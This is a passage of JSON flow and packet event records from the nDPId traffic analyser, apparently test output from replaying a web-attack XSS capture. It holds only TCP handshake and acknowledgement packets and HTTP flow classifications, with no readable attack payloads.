+00445{"flow_id":440,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6219,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347712,"pkt_ts_usec":277240,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6ui8Jpzg55VqjaAScSB0yAAAAgQFtAQCCAoD5ZCGATu\/EQEDAwc="} +00445{"flow_id":439,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6220,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347712,"pkt_ts_usec":277246,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6uYE2QpnqY0gH6AScSBHCAAAAgQFtAQCCAoD5ZCGATu\/EQEDAwc="} +00432{"flow_id":440,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6221,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347712,"pkt_ts_usec":277819,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01Z5AAD4G8DmsEAABwKgKMuroAFDnlWqNvCac4YAQAOUTzwAAAQEICgE7vxID5ZCG"} +00432{"flow_id":439,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6222,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347712,"pkt_ts_usec":277829,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nxBAAD4GJsisEAABwKgKMurmAFCpjSAfBNkKaIAQAOXmDgAAAQEICgE7vxID5ZCG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6229,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":441,"flow_packet_id":1,"flow_first_seen":1499347713588,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60154,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":441,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6229,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347713,"pkt_ts_usec":588576,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8P+JAAD4Ghe6sEAABwKgKMur6AFB3+v+7AAAAAKACchA6bgAAAgQFtAQCCAoBO8BZAAAAAAEDAwc="} +00446{"flow_id":441,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6230,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347713,"pkt_ts_usec":588680,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6vp4zY2Qd\/r\/vKAScSCfOwAAAgQFtAQCCAoD5ZHOATvAWQEDAwc="} +00432{"flow_id":441,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6231,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347713,"pkt_ts_usec":589455,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P+NAAD4GhfWsEAABwKgKMur6AFB3+v+8eM2NkYAQAOU+QwAAAQEICgE7wFkD5ZHO"} +00432{"flow_id":438,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6238,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347714,"pkt_ts_usec":811326,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u69AAD4GCimsEAABwKgKMuq0AFAeNwexsCE7F4ARAOWuhwAAAQEICgE7wYsD5Y2S"} +00432{"flow_id":438,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6239,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347714,"pkt_ts_usec":811543,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qBdAAEAGG8HAqAoyrBAAAQBQ6rSwITsXHjcHsoARAOOpGgAAAQEICgPlkwABO8GL"} +00432{"flow_id":438,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6240,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347714,"pkt_ts_usec":812103,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u7BAAD4GCiisEAABwKgKMuq0AFAeNweysCE7GIAQAOWpGAAAAQEICgE7wYsD5ZMA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6247,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":442,"flow_packet_id":1,"flow_first_seen":1499347716243,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60180,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":442,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6247,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347716,"pkt_ts_usec":243461,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA821BAAD4G6n+sEAABwKgKMusUAFBsBhmhAAAAAKACchApywAAAgQFtAQCCAoBO8LxAAAAAAEDAwc="} +00444{"flow_id":442,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6248,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347716,"pkt_ts_usec":243592,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6xT1wuHkbAYZoqAScSC6tgAAAgQFtAQCCAoD5ZRmATvC8QEDAwc="} +00432{"flow_id":442,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6249,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347716,"pkt_ts_usec":244352,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA021FAAD4G6oasEAABwKgKMusUAFBsBhmi9cLh5YAQAOVZvgAAAQEICgE7wvED5ZRm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6256,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":443,"flow_packet_id":1,"flow_first_seen":1499347717533,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60194,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":443,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6256,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":533777,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GKhAAD4GrSisEAABwKgKMusiAFDZTNycAAAAAKACchD4NwAAAgQFtAQCCAoBO8Q0AAAAAAEDAwc="} +00444{"flow_id":443,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6257,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":533949,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6yL+myOL2UzcnaAScSA9YgAAAgQFtAQCCAoD5ZWoATvENAEDAwc="} +00433{"flow_id":443,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6258,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":534514,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GKlAAD4GrS+sEAABwKgKMusiAFDZTNyd\/psjjIAQAOXcaQAAAQEICgE7xDQD5ZWo"} +00432{"flow_id":440,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6262,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":813257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01Z9AAD4G8DisEAABwKgKMuroAFDnlWqNvCac4YARAOUOZwAAAQEICgE7xHkD5ZCG"} +00432{"flow_id":439,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6263,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":813276,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nxFAAD4GJsesEAABwKgKMurmAFCpjSAfBNkKaIARAOXgpgAAAQEICgE7xHkD5ZCG"} +00432{"flow_id":440,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6264,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":813497,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CQ9AAEAGusnAqAoyrBAAAQBQ6ui8Jpzh55VqjoARAOMJAAAAAQEICgPlle4BO8R5"} +00432{"flow_id":439,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6265,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":813503,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0n4ZAAEAGJFLAqAoyrBAAAQBQ6uYE2QpoqY0gIIARAOPbPwAAAQEICgPlle4BO8R5"} +00433{"flow_id":440,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":814060,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01aBAAD4G8DesEAABwKgKMuroAFDnlWqOvCac4oAQAOUI\/QAAAQEICgE7xHoD5ZXu"} +00432{"flow_id":439,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6267,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347717,"pkt_ts_usec":814101,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nxJAAD4GJsasEAABwKgKMurmAFCpjSAgBNkKaYAQAOXbPAAAAQEICgE7xHoD5ZXu"} +00432{"flow_id":441,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6271,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347718,"pkt_ts_usec":814003,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P+RAAD4GhfSsEAABwKgKMur6AFB3+v+8eM2NkYARAOU5JwAAAQEICgE7xXQD5ZHO"} +00435{"flow_id":441,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6272,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347718,"pkt_ts_usec":814209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0G3lAAEAGqF\/AqAoyrBAAAQBQ6vp4zY2Rd\/r\/vYARAOM0DgAAAQEICgPllugBO8V0"} +00432{"flow_id":441,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6273,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347718,"pkt_ts_usec":814992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P+VAAD4GhfOsEAABwKgKMur6AFB3+v+9eM2NkoAQAOU0DAAAAQEICgE7xXQD5Zbo"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6280,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":444,"flow_packet_id":1,"flow_first_seen":1499347720094,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":444,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6280,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347720,"pkt_ts_usec":94904,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8qt5AAD4GGvKsEAABwKgKMus8AFAqiGxqAAAAAKACchAUlQAAAgQFtAQCCAoBO8a0AAAAAAEDAwc="} +00443{"flow_id":444,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6281,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347720,"pkt_ts_usec":95052,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6zwJv9VKKohsa6AScSCaWwAAAgQFtAQCCAoD5ZgpATvGtAEDAwc="} +00432{"flow_id":444,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6282,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347720,"pkt_ts_usec":95794,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qt9AAD4GGvmsEAABwKgKMus8AFAqiGxrCb\/VS4AQAOU5YwAAAQEICgE7xrQD5Zgp"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":401,"flow_packet_id":6,"flow_first_seen":1499347645232,"flow_last_seen":1499347650797,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59408,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":401,"flow_packet_id":6,"flow_first_seen":1499347645232,"flow_last_seen":1499347650797,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59408,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":402,"flow_packet_id":6,"flow_first_seen":1499347646486,"flow_last_seen":1499347651805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59422,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":402,"flow_packet_id":6,"flow_first_seen":1499347646486,"flow_last_seen":1499347651805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59422,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":403,"flow_packet_id":6,"flow_first_seen":1499347647733,"flow_last_seen":1499347652800,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59436,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":403,"flow_packet_id":6,"flow_first_seen":1499347647733,"flow_last_seen":1499347652800,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59436,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":404,"flow_packet_id":6,"flow_first_seen":1499347650289,"flow_last_seen":1499347655800,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59462,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":404,"flow_packet_id":6,"flow_first_seen":1499347650289,"flow_last_seen":1499347655800,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59462,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":405,"flow_packet_id":6,"flow_first_seen":1499347651555,"flow_last_seen":1499347656799,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59476,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":405,"flow_packet_id":6,"flow_first_seen":1499347651555,"flow_last_seen":1499347656799,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59476,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":406,"flow_packet_id":6,"flow_first_seen":1499347654065,"flow_last_seen":1499347659803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59502,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":406,"flow_packet_id":6,"flow_first_seen":1499347654065,"flow_last_seen":1499347659803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59502,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":407,"flow_packet_id":6,"flow_first_seen":1499347655367,"flow_last_seen":1499347660809,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59516,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6286,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":407,"flow_packet_id":6,"flow_first_seen":1499347655367,"flow_last_seen":1499347660809,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59516,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6289,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":445,"flow_packet_id":1,"flow_first_seen":1499347721376,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60234,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":445,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6289,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347721,"pkt_ts_usec":376008,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UaNAAD4GdC2sEAABwKgKMutKAFCqmpZXAAAAAKACchBpRwAAAgQFtAQCCAoBO8f0AAAAAAEDAwc="} +00444{"flow_id":445,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6290,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347721,"pkt_ts_usec":376131,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ60r+f8PRqpqWWKAScSAKhgAAAgQFtAQCCAoD5ZlpATvH9AEDAwc="} +00435{"flow_id":445,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6291,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347721,"pkt_ts_usec":376925,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UaRAAD4GdDSsEAABwKgKMutKAFCqmpZY\/n\/D0oAQAOWpjQAAAQEICgE7x\/QD5Zlp"} +00432{"flow_id":442,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6295,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347721,"pkt_ts_usec":813980,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA021JAAD4G6oWsEAABwKgKMusUAFBsBhmi9cLh5YARAOVUTAAAAQEICgE7yGID5ZRm"} 